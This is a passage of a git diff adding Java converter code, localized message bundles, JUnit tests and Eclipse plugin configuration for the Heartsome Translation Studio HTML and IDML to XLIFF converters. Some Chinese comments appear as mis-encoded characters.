@param iniFile + * the ini file + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void loadEntities(String iniFile) throws SAXException, IOException { + SAXBuilder builder = new SAXBuilder(); + if (catalogue != null) { + builder.setEntityResolver(catalogue); + } + Document doc = builder.build(iniFile); + Element root = doc.getRootElement(); + + entities = new Hashtable(); + + List ents = root.getChildren("entity"); //$NON-NLS-1$ + Iterator it = ents.iterator(); + while (it.hasNext()) { + Element e = it.next(); + entities.put(e.getText(), "&" + e.getAttributeValue("name") + ";"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + + root = null; + doc = null; + builder = null; + } + + /** + * Adds the entities. + * @param text + * the text + * @return the string + */ + private String addEntities(String text) { + StringBuffer result = new StringBuffer(); + boolean inTag = false; + int start = text.indexOf("<"); //$NON-NLS-1$ + int end = text.indexOf(">"); //$NON-NLS-1$ + if (end != -1) { + if (start == -1) { + inTag = true; + } else { + if (end < start) { + inTag = true; + } + } + } + for (int i = 0; i < text.length(); i++) { + char c = text.charAt(i); + if (c == '<') { + inTag = true; + } + if (c == '>') { + inTag = false; + } + if (!inTag && entities.containsKey("" + c)) { //$NON-NLS-1$ + if (c == '&' && text.charAt(i + 1) == '#') { + // check if it is an escaped entity + // like: &#x2018; + int scolon = text.indexOf(";", i); //$NON-NLS-1$ + if (scolon == -1) { + // not an escaped entity + result.append(entities.get("" + c)); //$NON-NLS-1$ + } else { + // check for space before the semicolon + int space = text.indexOf(" ", i); //$NON-NLS-1$ + if (space == -1) { + // no space before the semicolon + // it is an escaped entity + result.append(c); + } else { + if (space > scolon) { + // space is after semicolon + // it is an escaped entity + result.append(c); + } else { + // not an escaped entity + result.append(entities.get("" + c)); //$NON-NLS-1$ + } + } + } + } else { + result.append(entities.get("" + c)); //$NON-NLS-1$ + } + } else { + result.append(c); + } + } + return result.toString(); + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + writeString(string, false, null); + } + + /** + * Write string. + * @param string + * the string + * @param isSegment + * 标识当å‰æ‰€å†™å†…容,ture 标识当å‰æ‰€å†™å†…容为 segment,false 标识当å‰æ‰€å®šå†…容为原骨架文件中的内容。 + * @param replaceCode + * skeleton 文件中的segment 标识符 + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string, boolean isSegment, String replaceCode) throws IOException { + byte[] bytes = string.getBytes(encoding); + output.write(bytes); + // 是å¦å–消æ“作 + if (replaceMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("html.cancel")); + } + if (!isSegment) { + cpb.calculateProcessed(replaceMonitor, string, encoding); + } else { + replaceCode = "%%%" + replaceCode + "%%%"; + cpb.calculateProcessed(replaceMonitor, replaceCode, encoding); + } + } + + /** + * Load segments. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void loadSegments(IProgressMonitor monitor) throws SAXException, IOException { + try { + // 在加载 xliff 文件时,构建 dom tree 的进度无法控制,所以在此å–任务总é‡ä¸ºæœªçŸ¥ã€‚ + monitor.beginTask(Messages.getString("html.Xliff2Html.msg4"), IProgressMonitor.UNKNOWN); + monitor.subTask(""); + SAXBuilder builder = new SAXBuilder(); + if (catalogue != null) { + builder.setEntityResolver(catalogue); + } + + Document doc = builder.build(xliffFile); + Element root = doc.getRootElement(); + Element body = root.getChild("file").getChild("body"); //$NON-NLS-1$ //$NON-NLS-2$ + List units = body.getChildren("trans-unit"); //$NON-NLS-1$ + Iterator i = units.iterator(); + + segments = new Hashtable(); + + while (i.hasNext()) { + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("html.cancel")); + } + Element unit = i.next(); + segments.put(unit.getAttributeValue("id"), unit); //$NON-NLS-1$ + } + } finally { + monitor.done(); + } + } + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/resource/Messages.java new file mode 100644 index 0000000..c4950a1 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.html.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.html.resource.html"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/resource/html.properties b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/resource/html.properties new file mode 100644 index 0000000..1a893a2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/resource/html.properties @@ -0,0 +1,21 @@ +html.Html2Xliff.msg1 = \u6e90\u6587\u4ef6\u8bfb\u53d6\u9519\u8bef\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +html.Html2Xliff.msg2 = HTML \u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff1a\u65e0\u6548\u6807\u8bb0\u3002\u8bf7\u4fee\u590d\u8be5\u9519\u8bef\u540e\u518d\u91cd\u8bd5\u3002 +html.Html2Xliff.msg3 = \u65e0\u6cd5\u627e\u5230 HTML \u7684 INI \u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 +html.Html2Xliff.msg4 = HTML \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +html.Html2Xliff.beginTask = \u6b63\u5728\u8f6c\u6362... +html.Html2Xliff.task2 = \u6b63\u5728\u5904\u7406\u5185\u5bb9\u5217\u8868... +html.Html2Xliff.task3 = \u6b63\u5728\u521b\u5efa\u5206\u6bb5\u89c4\u5219\u5217\u8868... +html.Html2Xliff.task4 = \u6b63\u5728\u521b\u5efa\u5185\u5bb9\u5217\u8868... + +#html.Xliff2Html.task1 = \u6b63\u5728\u8f6c\u6362... +html.Xliff2Html.task2 = \u6b63\u5728\u52a0\u8f7d Catalogue \u6587\u4ef6... +html.Xliff2Html.task3 = \u6b63\u5728\u52a0\u8f7d INI \u6587\u4ef6... +html.Xliff2Html.task4 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +html.Xliff2Html.msg1 = \u65e0\u6cd5\u627e\u5230 HTML \u7684 INI \u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 +html.Xliff2Html.msg2 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +html.Xliff2Html.msg3 = HTML \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +html.Xliff2Html.msg4 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... + +############################ 2012-08-08 \u6dfb\u52a0 ################################## +html.TYPE_NAME_VALUE = \u7f51\u9875\u6587\u4ef6 (HTM, HTML) +html.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/resource/html_en.properties b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/resource/html_en.properties new file mode 100644 index 0000000..56d9990 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/resource/html_en.properties @@ -0,0 +1,21 @@ +html.Html2Xliff.msg1 = Unable to read source files. Please re-select source files. +html.Html2Xliff.msg2 = An error occured when processing HTML files: Invalid tags. Please try again once fixing errors. +html.Html2Xliff.msg3 = Can not find the INI file. Please reinstall Heartsome Translation Studio and try again. +html.Html2Xliff.msg4 = Failed to convert HTML to XLIFF. Please try again. +html.Html2Xliff.beginTask = Converting... +html.Html2Xliff.task2 = Processing List of content... +html.Html2Xliff.task3 = A list of segmentation rules are being created... +html.Html2Xliff.task4 = A list of content is being created... + +#html.Xliff2Html.task1 = \u6b63\u5728\u8f6c\u6362... +html.Xliff2Html.task2 = Loading catalogue files... +html.Xliff2Html.task3 = Loading INI files... +html.Xliff2Html.task4 = Replacing segment identifiers in the skeleton file.... +html.Xliff2Html.msg1 = Can not find the INI file. Please reinstall Heartsome Translation Studio and try again. +html.Xliff2Html.msg2 = Can't find segment {0}. The XLIFF file might be demaged. please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +html.Xliff2Html.msg3 = Failed to convert HTML to XLIFF. Please try again. +html.Xliff2Html.msg4 = Loading XLIFF files... + +############################ 2012-08-08 \u6dfb\u52a0 ################################## +html.TYPE_NAME_VALUE = Webpages file (HTM, HTML) +html.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/resource/html_zh.properties b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/resource/html_zh.properties new file mode 100644 index 0000000..1a893a2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/resource/html_zh.properties @@ -0,0 +1,21 @@ +html.Html2Xliff.msg1 = \u6e90\u6587\u4ef6\u8bfb\u53d6\u9519\u8bef\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +html.Html2Xliff.msg2 = HTML \u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff1a\u65e0\u6548\u6807\u8bb0\u3002\u8bf7\u4fee\u590d\u8be5\u9519\u8bef\u540e\u518d\u91cd\u8bd5\u3002 +html.Html2Xliff.msg3 = \u65e0\u6cd5\u627e\u5230 HTML \u7684 INI \u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 +html.Html2Xliff.msg4 = HTML \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +html.Html2Xliff.beginTask = \u6b63\u5728\u8f6c\u6362... +html.Html2Xliff.task2 = \u6b63\u5728\u5904\u7406\u5185\u5bb9\u5217\u8868... +html.Html2Xliff.task3 = \u6b63\u5728\u521b\u5efa\u5206\u6bb5\u89c4\u5219\u5217\u8868... +html.Html2Xliff.task4 = \u6b63\u5728\u521b\u5efa\u5185\u5bb9\u5217\u8868... + +#html.Xliff2Html.task1 = \u6b63\u5728\u8f6c\u6362... +html.Xliff2Html.task2 = \u6b63\u5728\u52a0\u8f7d Catalogue \u6587\u4ef6... +html.Xliff2Html.task3 = \u6b63\u5728\u52a0\u8f7d INI \u6587\u4ef6... +html.Xliff2Html.task4 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +html.Xliff2Html.msg1 = \u65e0\u6cd5\u627e\u5230 HTML \u7684 INI \u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 +html.Xliff2Html.msg2 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +html.Xliff2Html.msg3 = HTML \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +html.Xliff2Html.msg4 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... + +############################ 2012-08-08 \u6dfb\u52a0 ################################## +html.TYPE_NAME_VALUE = \u7f51\u9875\u6587\u4ef6 (HTM, HTML) +html.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.html/testSrc/net/heartsome/cat/converter/html/test/Html2XliffTest.java b/hsconverter/net.heartsome.cat.converter.html/testSrc/net/heartsome/cat/converter/html/test/Html2XliffTest.java new file mode 100644 index 0000000..aef3633 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/testSrc/net/heartsome/cat/converter/html/test/Html2XliffTest.java @@ -0,0 +1,128 @@ +package net.heartsome.cat.converter.html.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.html.Html2Xliff; + +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.Test; + +public class Html2XliffTest { + public static Html2Xliff converter = new Html2Xliff(); + private static String srcFile = "rc/Test.html"; + private static String xlfFile = "rc/Test.html.xlf"; + private static String sklFile = "rc/Test.html.skl"; + + @Before + public void setUp() { + File xlf = new File(xlfFile); + if (xlf.exists()) { + xlf.delete(); + } + + File skl = new File(sklFile); + if (skl.exists()) { + skl.delete(); + } + } + + @Test(expected = ConverterException.class) + public void testConvertMissingCatalog() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + // args.put(Converter.ATTR_CATALOGUE, rootFolder + + // "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_INI_FILE, rootFolder + "ini/init_html.xml"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingSRX() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_INI_FILE, rootFolder + "ini/init_html.xml"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingINI() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + // args.put(Converter.ATTR_INI_FILE,rootFolder + "ini/init_html.xml"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @AfterClass + public static void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_INI_FILE, rootFolder + "ini/init_html.xml"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.html/testSrc/net/heartsome/cat/converter/html/test/Xliff2HtmlTest.java b/hsconverter/net.heartsome.cat.converter.html/testSrc/net/heartsome/cat/converter/html/test/Xliff2HtmlTest.java new file mode 100644 index 0000000..0bdb75f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/testSrc/net/heartsome/cat/converter/html/test/Xliff2HtmlTest.java @@ -0,0 +1,52 @@ +package net.heartsome.cat.converter.html.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.html.Xliff2Html; + +import org.junit.Before; +import org.junit.Test; + +public class Xliff2HtmlTest { + public static Xliff2Html converter = new Xliff2Html(); + private static String tgtFile = "rc/Test_en-US.html"; + private static String xlfFile = "rc/Test.html.xlf"; + private static String sklFile = "rc/Test.html.skl"; + + @Before + public void setUp() { + File tgt = new File(tgtFile); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test + public void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); + args.put(Converter.ATTR_SKELETON_FILE, sklFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_INI_FILE, rootFolder + "ini/init_html.xml"); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.idml/.classpath b/hsconverter/net.heartsome.cat.converter.idml/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.idml/.gitignore b/hsconverter/net.heartsome.cat.converter.idml/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/hsconverter/net.heartsome.cat.converter.idml/.project b/hsconverter/net.heartsome.cat.converter.idml/.project new file mode 100644 index 0000000..4c8d47c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.idml + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.idml/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.idml/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.idml/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.idml/META-INF/MANIFEST.MF new file mode 100644 index 0000000..b9e07c7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/META-INF/MANIFEST.MF @@ -0,0 +1,14 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter IDML +Bundle-SymbolicName: net.heartsome.cat.converter.idml; singleton:=true +Bundle-Version: 8.0.2.R8b_v20130327 +Bundle-Activator: net.heartsome.cat.converter.idml.Activator +Require-Bundle: org.eclipse.core.runtime, + net.heartsome.cat.converter;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.idml/build.properties b/hsconverter/net.heartsome.cat.converter.idml/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/Activator.java b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/Activator.java new file mode 100644 index 0000000..6af1b96 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/Activator.java @@ -0,0 +1,66 @@ +package net.heartsome.cat.converter.idml; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +public class Activator implements BundleActivator { + + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.idml"; + + private static BundleContext context; + + @SuppressWarnings("rawtypes") + private ServiceRegistration idml2XLIFFSR; + + @SuppressWarnings("rawtypes") + private ServiceRegistration xliff2IDMLSR; + + static BundleContext getContext() { + return context; + } + + /* + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext bundleContext) throws Exception { + Activator.context = bundleContext; + + Converter idml2XLIFF = new IDML2XLIFF(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, IDML2XLIFF.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, IDML2XLIFF.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, IDML2XLIFF.TYPE_NAME_VALUE); + idml2XLIFFSR = ConverterRegister.registerPositiveConverter(context, idml2XLIFF, properties); + + Converter xliff2IDML = new XLIFF2IDML(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, XLIFF2IDML.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, XLIFF2IDML.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, XLIFF2IDML.TYPE_NAME_VALUE); + xliff2IDMLSR = ConverterRegister.registerReverseConverter(context, xliff2IDML, properties); + } + + /* + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext bundleContext) throws Exception { + if (idml2XLIFFSR != null) { + idml2XLIFFSR.unregister(); + idml2XLIFFSR = null; + } + if (xliff2IDMLSR != null) { + xliff2IDMLSR.unregister(); + xliff2IDMLSR = null; + } + Activator.context = null; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/IDML2XLIFF.java b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/IDML2XLIFF.java new file mode 100644 index 0000000..7a05afb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/IDML2XLIFF.java @@ -0,0 +1,875 @@ +package net.heartsome.cat.converter.idml; + +import java.io.BufferedOutputStream; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileOutputStream; +import java.io.FileWriter; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.zip.ZipOutputStream; + +import net.heartsome.cat.common.file.FileManager; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.idml.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * IDML 转æ¢ä¸º XLIFF + * @author peason + * @version + * @since JDK1.6 + */ +public class IDML2XLIFF implements Converter { + + private static final Logger LOGGER = LoggerFactory.getLogger(IDML2XLIFF.class); + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "idml"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("idml.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "IDML to XLIFF Conveter"; + + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + IDML2XLIFFImpl impl = new IDML2XLIFFImpl(); + return 